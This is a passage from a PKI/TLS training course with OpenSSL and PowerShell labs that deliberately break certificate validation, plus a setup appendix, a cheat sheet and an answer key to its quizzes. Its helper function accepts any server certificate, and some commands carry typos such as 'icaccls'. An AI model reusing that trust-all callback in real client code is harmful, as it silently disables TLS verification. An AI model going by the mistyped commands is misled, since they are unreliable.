Both faults look identical in a browser	Browsers show one generic message for both. Only presented-chain evidence (depth and count) tells them apart.
Fault B does not reproduce on Windows	The root is still in CurrentUser\Root or was re-added by Group Policy. Check both stores, or use a non-domain VM.
Fix confirmed on the server but users still fail	You confirmed from your own view. Confirm from the failing party's device, with caches cleared.

CHECK YOUR WORK

1. Both faults produced error 20 on Linux. Which two pieces of evidence separated them?
2. Where does the fix belong for each fault — server or client — and why would "fixing" Fault A on the clients be a mistake?
3. Why is "works in Chrome on Windows, fails on Android and curl" a signature of Fault A?

Diagnose expiry, name and revocation failures

OBJECTIVE

Diagnose an expired certificate, a clock problem, a name mismatch (including wildcard edge cases) and three kinds of revocation failure, identifying the exact failing check for each.

BEFORE YOU START

- ca01 issuing CA and published CRL endpoint (Labs 15, 17).
- faketime on Linux cli01; Windows learners change the VM clock with Set-Date.
- Snapshot cli01 and ca01.

STEPS

- 1 Expiry. Issue an already-expired certificate and a current one for the same name, serve each on port 8443 in turn, and read the dates.

BOTH TRACKS

```
openssl ca -config int-ca.cnf -batch -extensions server -notext -startdate
20250101000000Z -enddate 20250201000000Z \
  -in ../csr/www.lab.test.csr.pem -out ../certs/www.lab.test.expired.crt.pem
openssl x509 -in ../certs/www.lab.test.expired.crt.pem -noout -dates; openssl
x509 -in ../certs/www.lab.test.expired.crt.pem -noout -checkend 0
openssl verify -untrusted lab-int-ca.crt.pem
../certs/www.lab.test.expired.crt.pem
```

EXPECTED OUTPUT

```
notBefore=Jan  1 00:00:00 2025 GMT
notAfter=Feb  1 00:00:00 2025 GMT
Certificate will expire
error 10 at 0 depth lookup: certificate has expired
```

- 2 The clock problem. Validate the good certificate on a client whose clock is wrong, first in the past, then in the future.

LINUX • OPENSSL / BASH

```
faketime '-2 years' openssl verify -untrusted lab-int-ca.crt.pem  
www.lab.test.crt.pem  
faketime '+1 year' openssl verify -untrusted lab-int-ca.crt.pem  
www.lab.test.crt.pem  
date -u; timedatectl | grep -E 'synchronized|NTP'
```

WINDOWS • POWERSHELL

```
Set-Date (Get-Date).AddYears(-2) | Out-Null; certutil -verify C:\pki-  
lab\certs\www.lab.test.crt.pem | Select-String 'CERT_E|0x800'  
w32tm /resync /force | Out-Null; w32tm /query /status | Select-String  
'Source|Last Successful'
```

EXPECTED OUTPUT • LINUX

```
error 9 at 0 depth lookup: certificate is not yet valid  
error 10 at 0 depth lookup: certificate has expired  
System clock synchronized: yes
```

EXPECTED OUTPUT • WINDOWS

```
... 0x800b0101 (-2146762495 CERT_E_EXPIRED) (Windows uses one code for  
"outside validity period")
```

-
- ### 3 Name mismatch and wildcard rules. Issue a wildcard certificate and test which names it covers.

BOTH TRACKS

```
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -keyout  
/tmp/wild.key -subj "/CN=*.lab.test" \  
-addext "subjectAltName=DNS:*.lab.test" -out /tmp/wild.csr  
openssl ca -config int-ca.cnf -batch -extensions server -notext -in  
/tmp/wild.csr -out /tmp/wild.crt  
for n in www.lab.test api.lab.test lab.test a.b.lab.test WWW.LAB.TEST; do  
openssl x509 -in /tmp/wild.crt -noout -checkhost $n; done
```

EXPECTED OUTPUT

```
Hostname www.lab.test does match certificate  
Hostname api.lab.test does match certificate  
Hostname lab.test does NOT match certificate  
Hostname a.b.lab.test does NOT match certificate  
Hostname WWW.LAB.TEST does match certificate
```

4 Revocation 1 — the certificate is revoked. Use revoke.lab.test from Lab 17.

LINUX • OPENSSL / BASH

```
openssl verify -crl_check -crl_download -untrusted lab-int-ca.crt.pem
revoke.lab.test.crt.pem
```

WINDOWS • POWERSHELL

```
certutil -urlcache * delete | Out-Null; certutil -verify -urlfetch C:\pki-
lab\certs\revoke.lab.test.crt.der | Select-String 'CRYPT_E'
```

EXPECTED OUTPUT • LINUX

```
error 23 at 0 depth lookup: certificate revoked
```

EXPECTED OUTPUT • WINDOWS

```
... CRYPT_E_REVOKED
```

5 Revocation 2 — the check itself fails: stop the CRL web server and validate a good certificate.

LINUX • OPENSSL / BASH

```
# on ca01: sudo pkill -f 'http.server 80'
openssl verify -crl_check -crl_download -untrusted lab-int-ca.crt.pem
www.lab.test.crt.pem
```

WINDOWS • POWERSHELL

```
# on ca01: Stop-Service W3SVC
certutil -urlcache * delete | Out-Null; certutil -verify -urlfetch C:\pki-
lab\certs\www.lab.test.crt.pem | Select-String 'CRYPT_E'
```

EXPECTED OUTPUT • LINUX

```
error 3 at 0 depth lookup: unable to get certificate CRL
```

EXPECTED OUTPUT • WINDOWS

```
... CRYPT_E_REVOCATION_OFFLINE
```

6 Revocation 3 — stale CRL: publish a CRL that expires in one hour, restart the web server, and validate as if two hours had passed.

LINUX • OPENSLL / BASH

```
# on ca01
openssl ca -config int-ca.cnf -gencrl -crlhours 1 -out ../crl/lab-int-
ca.crl.pem
openssl crl -in ../crl/lab-int-ca.crl.pem -outform DER -out ~/pki-lab/pub/lab-
int-ca.crl
# on cli01
faketime '+2 hours' openssl verify -crl_check -crl_download -untrusted lab-
int-ca.crt.pem www.lab.test.crt.pem
```

EXPECTED OUTPUT • LINUX

```
error 12 at 0 depth lookup: CRL has expired
```

- 7 Stapling: check whether a server staples an OCSP response. A server that should staple but sends nothing forces clients back to their own (soft-fail) checks.

BOTH TRACKS

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test -status
</dev/null 2>/dev/null | grep -A3 'OCSP response'
```

EXPECTED OUTPUT

```
OCSP response: no response sent          (lab certificates carry no OCSP URL, so
nothing to staple)
```

- 8 Restore a normal CRL (default_crl_days), restart the web server, and for each failure record in notes/lab30.md: error, failing check, the one command that proved it, fix, and prevention.

IF IT GOES WRONG

faketime does not affect curl	Statically linked or setuid binaries ignore LD_PRELOAD. Use openssl verify -atime, or change the VM clock.
Windows re-syncs the clock mid-test	Stop-Service w32time for the test and start it again afterwards.
Revocation 2 passes on Windows	A cached CRL is still valid. Flush with certutil -urlcache * delete.

CHECK YOUR WORK

1. How do you tell "the certificate expired" from "the client clock is wrong" without looking at the server?
2. Why does *.lab.test not cover lab.test or a.b.lab.test?
3. Revoked, unreachable and stale CRL all mention revocation. Which of them is the certificate's fault, and which is the PKI's?

Diagnose key, format, usage and permission failures

OBJECTIVE

Diagnose a key mismatch, a format error, a usage failure and a permissions failure, and correct each to a deployment you have confirmed end to end.

BEFORE YOU START

- web01 Linux nginx fault server; Windows track also IIS on a Windows web01 for the Windows-specific variants.
- Keys and certificates from earlier labs, including `alice.client` (Lab 20).
- Snapshot web01.

STEPS

1 Key mismatch — plant and reproduce.

LINUX • OPENSSL / BASH

```
sudo cp keys/soon.lab.test.key.pem /etc/nginx/tls/www.lab.test.key.pem
sudo nginx -t
```

WINDOWS • POWERSHELL

```
# Windows variant: certificate imported without its private key
Import-Certificate C:\pki-lab\certs\www.lab.test.crt.pem -CertStoreLocation
Cert:\LocalMachine\My | Out-Null
$c = Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.Subject -eq
'CN=www.lab.test' -and -not $_.HasPrivateKey } | Select-Object -First 1
netsh http add sslcert hostnameport=www.lab.test:443 certhash=$($c.Thumbprint)
certstorename=MY appid='{4dc3e181-e14b-4a21-b022-59fc669b0914}'
```

EXPECTED OUTPUT • LINUX

```
nginx: [emerg] SSL_CTX_use_PrivateKey("/etc/nginx/tls/www.lab.test.key.pem")
failed (SSL: ... key values mismatch)
```

EXPECTED OUTPUT • WINDOWS

```
SSL Certificate add failed, Error: 1312
A specified logon session does not exist. It may already have been terminated.
```

2 Prove the mismatch and find the right key by public-key hash.

LINUX • OPENSSL / BASH

```
openssl x509 -in /etc/nginx/tls/www.lab.test.fullchain.pem -noout -pubkey |  
openssl sha256  
for k in keys/*.key.pem; do echo "$(openssl pkey -in $k -pubout 2>/dev/null |  
openssl sha256 | cut -d' ' -f2) $k"; done
```

WINDOWS • POWERSHELL

```
$c.HasPrivateKey  
certutil -repairstore My $c.SerialNumber      # re-links the certificate to  
its key if the key exists on this machine
```

EXPECTED OUTPUT • WINDOWS

```
False  
... CertUtil: -repairstore command completed successfully.   (or: "Cannot find  
the certificate and private key for decryption" – the key is not here)
```

3 Fix and confirm.

LINUX • OPENSSL / BASH

```
sudo install -m 600 keys/www.lab.test.key.pem  
/etc/nginx/tls/www.lab.test.key.pem  
sudo nginx -t && sudo systemctl reload nginx
```

WINDOWS • POWERSHELL

```
# import the .pfx that carries the key, then bind  
Import-PfxCertificate C:\pki-lab\keys\www.lab.test.p12 -CertStoreLocation  
Cert:\LocalMachine\My -Password (Read-Host -AsSecureString)
```

4 Format — plant: give nginx a DER certificate.

LINUX • OPENSSL / BASH

```
openssl x509 -in certs/www.lab.test.crt.pem -outform DER | sudo tee  
/etc/nginx/tls/www.lab.test.der.crt >/dev/null  
sudo sed -i 's#www.lab.test.fullchain.pem#www.lab.test.der.crt#'  
/etc/nginx/sites-available/www.lab.test  
sudo nginx -t
```

WINDOWS • POWERSHELL

```
# Windows variant: an OpenSSL 3 default .p12 imported on Windows Server 2016  
or earlier  
# fails with "The PFX password is incorrect" even with the right password (Lab  
8)
```

EXPECTED OUTPUT • LINUX

```
nginx: [emerg] cannot load certificate "/etc/nginx/tls/www.lab.test.der.crt":  
PEM_read_bio_X509_AUX() failed (SSL: error:0480006C:PEM routines::no start  
line ...)
```

- 5 Identify the real format by content, convert correctly (to a full PEM chain, not just a PEM leaf), fix and confirm.

LINUX • OPENSSL / BASH

```
xxd -l 2 /etc/nginx/tls/www.lab.test.der.crt  
sudo sed -i 's#www.lab.test.der.crt#www.lab.test.fullchain.pem#'  
/etc/nginx/sites-available/www.lab.test  
sudo nginx -t && sudo systemctl reload nginx
```

EXPECTED OUTPUT • LINUX

```
00000000: 3082          (DER)
```

- 6 Usage — plant: serve alice's client-authentication certificate as a server certificate.

BOTH TRACKS

```
sudo openssl s_server -accept 8443 -www -cert certs/alice.client.crt.pem -key  
keys/alice.client.key.pem -cert_chain int-ca/lab-int-ca.crt.pem
```

LINUX • OPENSSL / BASH

```
openssl s_client -connect www.lab.test:8443 -servername www.lab.test -  
verify_return_error </dev/null 2>&1 | grep -E 'verify error|Verify return'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL https://www.lab.test:8443/ 2>&1 | Select-String  
'SEC_E|CERT_E'
```

EXPECTED OUTPUT • LINUX

```
verify error:num=26:unsupported certificate purpose
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_CERT_WRONG_USAGE (0x80090349) - The certificate is not valid for the requested usage.
```

- 7 Confirm the cause by reading EKU; note that the name also fails. The fix is a certificate issued from the server profile, not a client setting.

BOTH TRACKS

```
openssl x509 -in certs/alice.client.crt.pem -noout -ext extendedKeyUsage,subjectAltName
```

- 8 Permissions — plant: run a TLS service as an unprivileged user that cannot read its key.

LINUX • OPENSLL / BASH

```
sudo -u nobody openssl s_server -accept 9443 -www -cert /etc/nginx/tls/www.lab.test.fullchain.pem -key /etc/nginx/tls/www.lab.test.key.pem
```

WINDOWS • POWERSHELL

```
# find the key file behind the certificate, then read its ACL
$k = [Security.Cryptography.X509Certificates.ECDsaCertificateExtensions]::GetECDsaPrivateKey($c)
$path = Join-Path $env:ProgramData "Microsoft\Crypto\Keys\$($k.Key.UniqueName)"
icacls $path
```

EXPECTED OUTPUT • LINUX

```
Could not open file or uri for loading server private key from /etc/nginx/tls/www.lab.test.key.pem
... Permission denied
```

- 9 Fix with least privilege: give only the service's group or account read access to the key.

LINUX • OPENSLL / BASH

```
sudo chgrp ssl-cert /etc/nginx/tls/www.lab.test.key.pem && sudo chmod 640 /etc/nginx/tls/www.lab.test.key.pem
sudo usermod -aG ssl-cert <service-user> # never chmod 644 a private key
```

```
icacls $path /grant 'NT SERVICE\<ServiceName>:R'      # or certlm.msc → All
Tasks → Manage Private Keys
```

- 10** End-to-end confirmation for every fix: config test, reload, strict client test from cli01, and the key/cert match check.

BOTH TRACKS

```
sudo nginx -t && sudo systemctl reload nginx
openssl s_client -connect www.lab.test:443 -servername www.lab.test -
verify_hostname www.lab.test -verify_return_error </dev/null 2>/dev/null |
grep 'Verify return'
```

EXPECTED OUTPUT

```
Verify return code: 0 (ok)
```

IF IT GOES WRONG

nginx -t passes but clients still see the old certificate	nginx -t does not reload. Run systemctl reload nginx; for IIS, confirm the binding's certhash with netsh http show sslcert.
After renewal, a mobile app or API client suddenly rejects the server	The renewal changed the key and the client pins the old key (or a thumbprint). This is a relationship failure, not a certificate error: update the pin set before rekeying, or pin the CA key instead.
Error 1312 on Windows even though the key exists	The key belongs to another user profile. Machine services need the key in the machine key store (MachineKeySet).

CHECK YOUR WORK

1. Why is "nginx started without errors" not enough to call a deployment correct?
2. The usage failure produced a trusted chain and a valid date. Why did the client still refuse it?
3. A renewal went out with a new key and one internal client broke. Which question do you ask first?

What Next

Take stock and plan the next ninety days.

Lab 32

LAB 32 Chapter 32 • 60 min

Assess your skills and plan the next 90 days

OBJECTIVE

Assess yourself honestly against every skill in the course, keep your lab alive as a practice environment, and write a 90-day plan that consolidates the basics and picks a specialization.

BEFORE YOU START

- Your lab notebook from Labs 1–31.
- About 30 minutes of uninterrupted time for the speed drill.

STEPS

- 1 Speed drill. Without looking at notes, time yourself on each task. Target: under 2 minutes each.

BOTH TRACKS

- 1 Show subject, SANs, issuer and dates of a live server's certificate
- 2 Count the certificates a server presents and name each one
- 3 Prove a key matches a certificate
- 4 Convert a DER certificate to PEM and build a PKCS#12 with its key and chain
- 5 Validate a leaf against a given root and intermediate, including name and purpose
- 6 Check whether a certificate is revoked using its CRL
- 7 Issue a server certificate from the lab issuing CA with correct SANs
- 8 Tell a missing intermediate from an untrusted root from the evidence alone

- 2 Self-assessment. Rate each area 1–4 (1 = need notes and help, 2 = can do with notes, 3 = can do unaided, 4 = can teach it) and cite the lab that proves it.

BOTH TRACKS

AREA	RATING	EVIDENCE (lab #)
Cryptography foundations	--	2, 9
Reading certificates, extensions, formats	--	6, 7, 8, 11
Issuance: CSR, profiles, CA operation	--	10, 15
Validation and trust	--	12, 14
Hierarchy design and governance	--	13, 25, 27
Lifecycle, automation, inventory	--	16, 21, 23
Revocation	--	17, 30
TLS, servers, clients, networks	--	18, 19, 20, 22
Security and attacks	--	24, 26
Troubleshooting method	--	5, 28–31

- 3 Keep the lab alive. Schedule the operational tasks that keep a PKI honest, so the lab behaves like a real one.

LINUX • OPENSSL / BASH

```
# calendar reminders
root CRL renewal      every 5 months (before the 180-day nextUpdate)
issuing CRL           daily via cron: 0 3 * * * cd ~/pki-lab/int-ca && openssl
ca -config int-ca.cnf -gencrl -out ../crl/lab-int-ca.crl.pem
expiry report         daily (Lab 16)
snapshot              monthly, after patching
```

WINDOWS • POWERSHELL

```
# calendar reminders
root CRL renewal      every 5 months: power on root01, certutil -crl, copy to
web root, power off
issuing CRL           automatic on AD CS; verify monthly: certutil -dump <CRL>
| Select-String NextUpdate
expiry report         daily (Lab 16)
snapshot              monthly, after patching
```

- 4 Choose one specialization to pursue after the basics are solid: CA operations and HSMs; cloud and workload identity; enterprise directory PKI; certificate lifecycle automation; or cryptographic engineering and the post-quantum transition. Write one sentence on why.
- 5 Write your 90-day plan in notes/plan.md.

BOTH TRACKS

DAYS 1-30 CONSOLIDATE

- Repeat the speed drill weekly until every task is under 2 minutes
- Redo the two labs you rated lowest, without notes
- Build your personal troubleshooting checklist (Lab 28) into a one-page card

DAYS 31-60 EXTEND

- One project in your specialization, in the lab (e.g. ACME server + automation; HSM-backed issuing CA)
- Read one primary source: an RFC, a CA/Browser Forum ballot, or a CA's CPS
- Follow CT logs for one domain you are responsible for

DAYS 61-90 APPLY

- With authorization, inventory certificates in a real environment you are responsible for
- Write one runbook (renewal, revocation, or restore) for that environment
- Present one finding to your team

REVIEW re-rate the self-assessment on day 90

-
- 6 Ground rule for everything that follows: practise only on PKI you own or are explicitly authorized to test. Write that rule at the top of plan.md.
-

CHECK YOUR WORK

1. Which area did you rate lowest, and which lab will you redo first?
2. Which three concepts from this course will still be true in ten years regardless of tools or algorithms?
3. What specific evidence will show on day 90 that the plan worked?

Lab setup

Lab 4 walks through this build in teaching order. This appendix is the reference version: everything needed to rebuild the lab from nothing.

A.1 Hypervisor and snapshots

Any hypervisor with snapshots works (Hyper-V, VirtualBox, VMware, Proxmox, UTM). Put every VM on one host-only or internal network with no route to production. Plan for 2 vCPU and 4 GB RAM per Windows Server VM, 1 vCPU and 2 GB per Linux VM. Take a snapshot named baseline as soon as each VM is patched, and another at the end of Labs 4, 15 and 21.

A.2 Tooling

LINUX • UBUNTU 24.04

```
sudo apt update
sudo apt install -y openssl ca-certificates curl nginx tcpdump tshark jq faketime
python3
openssl version           # must be 3.0 or later; 3.5+ adds post-quantum algorithms
(Lab 26)
```

WINDOWS • WINDOWS 11 / SERVER 2022

```
winget install --id Microsoft.PowerShell -e
winget install --id ShiningLight.OpenSSL.Light -e           # optional: lets you run any
Linux block as-is
winget install --id WiresharkFoundation.Wireshark -e
certutil -? | Select-Object -First 1                        # built in
curl.exe --version                                         # built in, uses Schannel
```

A.3 Folder layout and permissions

LINUX

```
mkdir -p ~/pki-lab/{keys,csr,certs,chains,crl,trust,notes,root-ca/private,int-
ca/private,int-ca/newcerts}
chmod 700 ~/pki-lab/keys ~/pki-lab/root-ca/private ~/pki-lab/int-ca/private
echo 'umask 077' >> ~/.bashrc
```

WINDOWS

```
'keys','csr','certs','chains','crl','trust','notes' | ForEach-Object { New-Item -
ItemType Directory -Force "C:\pki-lab\$_" }
icaccls C:\pki-lab\keys /inheritance:r /grant:r "$($env:USERNAME):(OI)(CI)F"
"SYSTEM:(OI)(CI)F"
```

A.4 Name resolution

Until dc01 provides DNS, add hosts entries on every machine (replace the addresses with your lab network).

```
# /etc/hosts or C:\Windows\System32\drivers\etc\hosts
10.10.0.10 dc01.lab.test
10.10.0.11 root01.lab.test
10.10.0.12 ca01.lab.test pki.lab.test
10.10.0.20 web01.lab.test www.lab.test api.lab.test
```

A.5 Windows helper: Get-RemoteCert

Windows has no built-in equivalent of `openssl s_client`. Add this function to your PowerShell profile (`notepad $PROFILE`); several labs use it.

```
function Get-RemoteCert {
    param([string]$HostName, [int]$Port = 443, [switch]$Chain)
    $tcp = [Net.Sockets.TcpClient]::new($HostName, $Port)
    $ssl = [Net.Security.SslStream]::new($tcp.GetStream(), $false, { $true }) #
    accept anything: we are inspecting, not trusting
    try {
        $ssl.AuthenticateAsClient($HostName)
        $leaf =
[Security.Cryptography.X509Certificates.X509Certificate2]::new($ssl.RemoteCertifica
te)
        if (-not $Chain) { return $leaf }
        $ch = [Security.Cryptography.X509Certificates.X509Chain]::new()
        $ch.ChainPolicy.RevocationMode = 'NoCheck'
        [void]$ch.Build($leaf)
        $ch.ChainElements | ForEach-Object { $_.Certificate }
    } finally { $ssl.Dispose(); $tcp.Dispose() }
}
```

Note: `-Chain` returns the chain Windows *built*, which may include intermediates fetched or cached locally. To see exactly what a server *sent*, use `openssl s_client -showcerts` (Lab 11).

Command cheat sheet

The commands you will reach for most, grouped by the validation check or task they serve.

Inspect

TASK	LINUX	WINDOWS
Decode a certificate	<code>openssl x509 -in c.pem -noout -text</code>	<code>certutil -dump c.cer</code>
Subject, issuer, dates	<code>openssl x509 -in c.pem -noout -subject -issuer -dates</code>	<code>\$c = Get-PfxCertificate c.cer; \$c fl Subject,Issuer,NotBefore,NotAfter</code>
Selected extensions	<code>openssl x509 -in c.pem -noout -ext subjectAltName,keyUsage,extendedKeyUsage,basicConstraints</code>	<code>\$c.Extensions % { \$_ .Oid.FriendlyName; \$_ .Format(\$true) }</code>
SHA-256 fingerprint	<code>openssl x509 -in c.pem -noout -fingerprint -sha256</code>	<code>certutil -hashfile c.cer SHA256</code>
Decode a CSR	<code>openssl req -in r.csr -noout -text -verify</code>	<code>certutil -dump r.req</code>
Decode a CRL	<code>openssl crl -in l.crl -noout -text</code>	<code>certutil -dump l.crl</code>

Connect

TASK	LINUX	WINDOWS
Chain a server sends	<code>openssl s_client -connect h:443 -servername h -showcerts </dev/null</code>	<code>Get-RemoteCert h -Chain (Appendix A.5)</code>
Fail on any verify error	<code>openssl s_client -connect h:443 -servername h -verify_return_error -verify_hostname h </dev/null</code>	<code>curl.exe -v https://h/</code>
Present a client certificate	<code>openssl s_client -connect h:443 -cert c.pem -key k.pem</code>	<code>Invoke-WebRequest https://h/ -Certificate \$c</code>
Force a protocol version	<code>openssl s_client -connect h:443 -tls1_2</code>	<code>curl.exe --tlsv1.2 --tls-max 1.2 -v https://h/</code>

Verify

TASK	LINUX	WINDOWS
Chain to a given anchor	<code>openssl verify -CAfile root.pem -untrusted int.pem leaf.pem</code>	<code>certutil -verify leaf.cer</code>
Name coverage	<code>openssl x509 -in leaf.pem -noout -checkhost www.lab.test</code>	<code>certutil -verify leaf.cer; compare SAN in certutil -dump</code>
Purpose / EKU	<code>openssl verify -purpose sslserver -CAfile root.pem -untrusted int.pem leaf.pem</code>	<code>certutil -verify -urlfetch leaf.cer</code> (lists allowed usages)
Revocation (CRL)	<code>openssl verify -crl_check -CRLfile 1.crl -CAfile root.pem -untrusted int.pem leaf.pem</code>	<code>certutil -verify -urlfetch leaf.cer</code>
Revocation (OCSP)	<code>openssl ocsp -issuer int.pem -cert leaf.pem -url http://ocsp.lab.test -resp_text</code>	<code>certutil -url leaf.cer</code> (OCSP tab)
Validate at another time	<code>openssl verify -atime \$(date -d 2030-01-01 +%s) ...</code>	Change VM clock: Set-Date, then <code>certutil -verify</code>

Keys and formats

TASK	LINUX	WINDOWS
Key matches certificate	<code>diff <(openssl x509 -in c.pem -noout -pubkey) <(openssl pkey -in k.pem -pubout)</code>	<code>certutil -verifystore my <serial></code>
New EC key	<code>openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out k.pem</code>	<code>New-SelfSignedCertificate -KeyAlgorithm ECDSA_nistP256 ...</code>
PEM ↔ DER	<code>openssl x509 -in c.pem -outform DER -out c.der</code>	<code>certutil -decode c.pem c.der / certutil -encode c.der c.pem</code>
Build PKCS#12	<code>openssl pkcs12 -export -inkey k.pem -in c.pem -certfile chain.pem -out c.p12</code>	<code>Export-PfxCertificate -Cert \$c -FilePath c.pfx -Password \$pw -ChainOption BuildChain</code>
Read PKCS#12	<code>openssl pkcs12 -in c.p12 -info -noout</code>	<code>certutil -dump c.pfx</code>

Trust store

TASK	LINUX	WINDOWS
Add a root	<pre>sudo cp root.pem /usr/local/share/ca- certificates/lab-root.crt && sudo update-ca-certificates</pre>	<pre>Import-Certificate root.cer - CertStoreLocation Cert:\LocalMachine\Root</pre>
List roots	<pre>awk -v cmd="openssl x509 -noout - subject" '/BEGIN/{close(cmd)}; {print cmd}' /etc/ssl/certs/ca- certificates.crt</pre>	<pre>Get-ChildItem Cert:\LocalMachine\Root ft Subject,NotAfter</pre>
Remove a root	<pre>sudo rm /usr/local/share/ca- certificates/lab-root.crt && sudo update-ca-certificates --fresh</pre>	<pre>certutil -delstore root "<CN>"</pre>

Answer key

Model answers for every **Check your work** question. Your wording will differ; what matters is that your reasoning reaches the same check, file or field.

LAB 01 Inspect a website certificate

- 1 *For one of your sites, name the subject, the relying party and the issuer.*

Subject: the organization operating the site, identified by the names in the SAN. Relying party: your browser (acting for you). Issuer: the CA named in the Issuer field — normally an intermediate CA, not a root.

- 2 *What does this certificate actually promise, and what common assumption does it not support?*

That the issuing CA verified control of the listed names and bound them to this public key for the validity window. It does not promise the site is honest, safe, or run by the organization you think it is (for domain-validated certificates the organization is not checked at all). The padlock means "you are talking to whoever controls this name, privately", not "this is trustworthy".

- 3 *What lifetimes did you record, and why would a CA deliberately keep them short?*

Expect roughly 45–200 days depending on the CA. Public TLS lifetimes are capped by CA/Browser Forum rules and have been stepping down (200 days maximum from March 2026, heading to 47 days by 2029). Short lifetimes shrink the window in which a stolen key or misissued certificate is useful and force renewal to be automated.

Notes: Learners often mistake the intermediate for the root. The root is never in the Issuer field of a leaf in a normal two- or three-tier web chain.

LAB 02 Hash, sign and verify by hand

- 1 *Why did a one-character change produce a completely different hash, and what does that let a verifier conclude?*

Avalanche effect: a good hash output changes unpredictably on any input change. A verifier who recomputes the hash and gets the same value can conclude the data is unchanged (integrity) — not who sent it.

- 2 *You published the hash of msg.txt. Does it reveal the contents? What property of hashing is at work?*

No. Hashes are one-way (preimage resistance). Caveat: for tiny, guessable inputs an attacker can hash candidates and compare, so a hash hides nothing about predictable data.

- 3 *Which key produced the signature and which verified it? What could someone do if they obtained `alice.key.pem`?*

The private key signed; the public key verified. With the private key, an attacker can produce signatures indistinguishable from Alice's — they become Alice for every verifier.

- 4 *Why would you never sign a large file directly with RSA, and what does the tool sign instead?*

Asymmetric operations are slow and limited in input size. The tool hashes the data and signs the fixed-length hash; the signature therefore depends on the hash algorithm being collision-resistant.

LAB 03 Create and dissect a self-signed certificate

- 1 *Why did verification fail in step 3 but succeed in step 4? What changed — the certificate or the verifier?*

Only the verifier changed. In step 4 you declared the certificate a trust anchor, so its self-signature was accepted by fiat. Trust comes from the relying party's choice of anchors, never from the certificate.

- 2 *What would it take for a stranger's browser to trust `alice.crt.pem`, and why is that a bad idea for a public site?*

The stranger would have to install it as a trusted root — an out-of-band decision. For a public site that means every visitor must manually trust you, and training users to accept that is exactly how interception attacks succeed (Lab 24).

- 3 *Name two legitimate uses of a self-signed certificate.*

As a root CA certificate (every root is self-signed), and for a closed system where both sides are configured out-of-band with the exact certificate (for example pinned device-to-device links or a local development server).

LAB 04 Stand up the PKI lab

- 1 *Why must experiments in this course never run against production PKI? Give one specific way a lab action could cause a real outage.*

Lab actions add and remove trust anchors, revoke certificates and publish CRLs. Against production, revoking a live certificate or publishing a bad CRL would break every relying party immediately; adding a lab root to real machines silently widens who they trust.

- 2 *Why does the convention forbid reusing a key file name after rekeying?*

A certificate is bound to one exact key. If a new key reuses the old name, nothing tells you which key a certificate belongs to, and "key does not match certificate" failures (Lab 31) become filing mysteries instead of one-command checks.

- 3 *Which labs will you snapshot before, and why is reverting better than undoing changes by hand?*

Before any lab that deliberately breaks trust — 18, 24 and 28–31 — and after major builds (4, 15, 21). Manual undo misses side effects (cached intermediates, trust store entries, service restarts); reverting returns every component to a known state.

LAB 05 Write a diagnostic plan

- 1 Which party is complaining, and which validation check does `ERR_CERT_AUTHORITY_INVALID` point at?

The browser on the laptops is the relying party whose trust fails. The error maps to chain building / trust anchor: the browser could not build a path from the presented leaf to a root it trusts.

- 2 What are the two most likely hypotheses, and what single observation separates them?

(a) The renewed certificate was issued by a different CA or new intermediate whose root is not in the laptops' trust store (untrusted anchor). (b) The server now sends the leaf without its intermediate, and desktops succeed only because they have it cached or fetch it via AIA (broken chain). Capture the chain the server actually sends (`s_client -showcerts`) and compare the leaf's issuer to what a failing laptop holds.

- 3 Why do the working IT desktops matter so much as evidence?

They show the certificate is not universally bad. The difference is in the relying parties — their trust stores, cached intermediates, policy or clock — which narrows the fault to chain/anchor rather than name, dates or usage.

Notes: Lab 29 lets you reproduce both hypotheses. Grade plans on whether the first test discriminates between hypotheses, not on guessing the "right" answer.

LAB 06 Decode a certificate field by field

- 1 Which fields does the issuer's signature cover? Is the signature itself covered?

All of `tbsCertificate` — version, serial, signature algorithm identifier, issuer, validity, subject, public key and every extension. The outer signature value is not (and cannot be) covered by itself.

- 2 Why must a serial number be unique per issuer, and which later process depends on that?

Revocation identifies certificates by issuer + serial. Duplicate serials would make revoking one certificate ambiguous. Public CAs also use at least 64 bits of randomness in serials to resist collision attacks.

- 3 Which two fields are the most common single cause of certificate outages?

`notBefore/notAfter` — expiry is the number one cause of outages, followed by clock problems that make a valid window appear invalid.

- 4 *The tampered certificate still showed the same subject and dates. Why did validation fail anyway?*

The relying party recomputes the hash of tbsCertificate and checks it against the signature with the issuer's public key. Any change to signed bytes or to the signature breaks that check, whatever the human-readable fields say.

LAB 07 Compare leaf and CA extensions

- 1 *Which extension prevents the leaf from signing other certificates, and why is it marked critical?*

Basic Constraints CA:FALSE (reinforced by Key Usage lacking keyCertSign). It is critical so that any relying party that cannot process it must reject the certificate rather than risk treating a leaf as a CA.

- 2 *The leaf's subject CN is one name, but the SAN lists several. Which does a browser use, and why?*

The SAN. Browsers ignore the CN for name matching; CN is legacy and CAs copy one SAN value into it for display only.

- 3 *What does pathlen:0 on the issuing CA mean?*

This CA may issue end-entity certificates but no further CA certificates beneath itself; any CA certificate below it would fail path validation.

- 4 *What must a relying party do with a critical extension it does not understand?*

Reject the certificate. Non-critical extensions it does not understand may be ignored.

LAB 08 Convert between every major format

- 1 *How do you tell PEM from DER without trusting the file extension?*

PEM is Base64 text with -----BEGIN ...----- armour; DER is binary and starts with 0x30 (an ASN.1 SEQUENCE). file, head or Format-Hex shows which.

- 2 *Which of the formats you created can carry a private key, and which never can?*

PKCS#12 (.p12/.pfx) and PEM (a PEM file can hold a PRIVATE KEY block) can carry keys. DER-encoded certificates and PKCS#7 (.p7b) bundles carry certificates (and CRLs) only.

- 3 *Why is the fingerprint comparison stronger evidence than comparing subjects?*

The fingerprint is a hash over every signed byte, so equal fingerprints mean identical certificates. Two different certificates (a renewal, a re-issue) can share a subject.

- 4 *A Windows admin sends you "the certificate" as a .pfx and asks you to paste it into a ticket. What do you do?*

Refuse: a .pfx normally contains the private key. Ask for the certificate alone (.cer/.crt/.pem), and if the .pfx has already been shared, treat the key as exposed and plan a rekey.

LAB 09 Generate, protect and match keys

- 1 *What exactly does an attacker gain by stealing a TLS server's private key, and what does not change?*
They can impersonate the server to anyone for the rest of the certificate's life, and (without forward secrecy) decrypt captured traffic. The certificate itself stays "valid" until it is revoked or expires — which is why key compromise forces revocation and rekey.
- 2 *Why is P-256 considered roughly as strong as RSA-3072 despite being much smaller?*
